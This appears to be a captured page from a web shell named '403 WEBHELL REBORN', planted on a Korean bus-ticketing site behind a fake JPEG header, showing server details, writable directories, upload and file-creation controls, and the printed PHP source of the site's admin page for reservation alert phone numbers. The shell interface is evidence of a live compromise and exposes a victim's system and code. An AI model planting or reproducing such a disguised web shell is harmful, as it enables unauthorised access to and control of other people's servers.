ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/agent_info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/agent_info/reserve_alarm.html
<?
include "../../Lib/config.php";

if( ($_COOKIE['MemberLevel'] == $cf['agent_level'] || $_COOKIE['MemberLevel'] == $cf['trade_level']) ) {
	include "../include/top_agent.html";
} else {
	include "../include/top.html";
	$b2b_not_mode = true; //대리점 또는 공급처 외
}

if($agent_mode) exit; // 거래처 미사용

$mb_id = $TK_MEMBER['mb_id'];
$data = member_fetch(" and mb_id='{$mb_id}' ");
$row = $data[0];

$alarm_list = explode("|", $row['ag_alarm_phone']);

/////////////////////////////////////////////////////////

?>
<style>
	.rep_block {
		position:relative; display:block; float:left;
		background-color:#FFF;
		border-radius:10px;
		margin-bottom:10px;
		padding:10px 60px;
		box-sizing: border-box;
	}

	.rep_block li {
		position:relative; display:block; float:left; margin:40px;
		box-sizing: border-box;
	}

	.alarm_set input[type='text'] {width:70px; height:25px; font-size:18px; padding:5px; border:3px solid #45AFE2; text-align:center; border-radius:7px; margin-right:5px;}

	.alarm_set .save_btn{display:inline-block; width:70px; height:35px; font-size:16px; padding:5px; border-radius:7px; font-weight:bold; background-color:#45AFE2;}

	.alarm_set .add_number {font-size:24px; font-weight:bold;}

</style>

<div class="contents_wrap" >
	<div class="contents_wrap_in" style="background-color:#EEEEEE;">
		<div class="title">
			<strong><?=_e('예약 알림톡 신청');?></strong>
		</div>

		<form name="frm_agent_edit" id="frm_agent_edit" method="post">
		<div class="contents_detail" style="margin:10px 0 0 0;">
			<div id="Content_box">
				<div style="display:block; width:100%;">
					<div class="rep_block" style="width:650px; height:750px; padding-top:50px; margin-right:5px;">
						<img src="/admin/image/agent/agent_reserve_ararm_title.png" width="100%">
						
						<div class="alarm_set" style="padding:10px;">
							<span style="display:block; font-size:28px; font-weight:bold; line-height:80px;">
								예약 알림톡 받기 설정
							</span>

							<div class="add_number">
								<input type="text" name="ag_alarm_phone[]" value="010" hname="전화번호" required>-
								<input type="text" name="ag_alarm_phone[]" value="" hname="전화번호" required>-
								<input type="text" name="ag_alarm_phone[]" value="" hname="전화번호" required>
							
								<a href="#" onCLick="add_alarm();"><img src="/admin/image/agent/agent_reserve_btn.png"></a>
							</div>

							<div style="font-size:18px; padding:20px 0; line-height:30px;">
								<b>알림톡 수신 번호 :</b>
								<?
									if($row['ag_alarm_phone']) {
										foreach($alarm_list as $k => $v){
								?>
								<br><?=$v?> <a href="#" onCLick="del_alarm('<?=$v?>');" title="삭제"><i class="xi-close-circle" style="font-size:20px; vertical-align:middle;"></i></a>
								<? }} ?>
							</div>

							<span style="display:inline-block; font-size:18px; line-height:30px;">
							※ 카카오톡 예약 알림톡 서비스는 TK플레이스 PMS 서비스 이용시 무료로 제공되나 월 사용건수 100건 이상일 경우 유료로 전환될 수 있습니다.
							</span>
						</div>
					</div>
					<div class="rep_block" style="width:470px; height:750px; margin-left:5px;">
						<img src="/admin/image/agent/agent_reserve_ararm_2.png" width="100%">
					</div>
					<div class="rep_block" style="width:470px; height:750px; margin-left:5px;">
						<img src="/admin/image/agent/agent_cancel_ararm_1.png" width="100%">
				</div>
				
			</div>
		</div>
		</form>
	</div>
</div>
<script type="text/javascript">

	// 알람 등록
	function add_alarm()
	{
		var f = document.frm_agent_edit;

		var result = to_validation(f);
		if(result == false) return false;
			
		//if(!confirm('등록하시겠습니까?'))return false;

		ajax_post("ajax_proc","reserve_alarm_proc.php?SqlType=ararm_add","frm_agent_edit");

		return false;
	}

	// 알람 삭제
	function del_alarm(del_number)
	{
		if(!confirm('삭제하시겠습니까?'))return false;

		ajax_post("ajax_proc","reserve_alarm_proc.php?SqlType=ararm_delete&del_number="+del_number,"frm_agent_edit");

		return false;
	}


</script>
<? include "../include/footer.html" ?>



Anon7 - 2021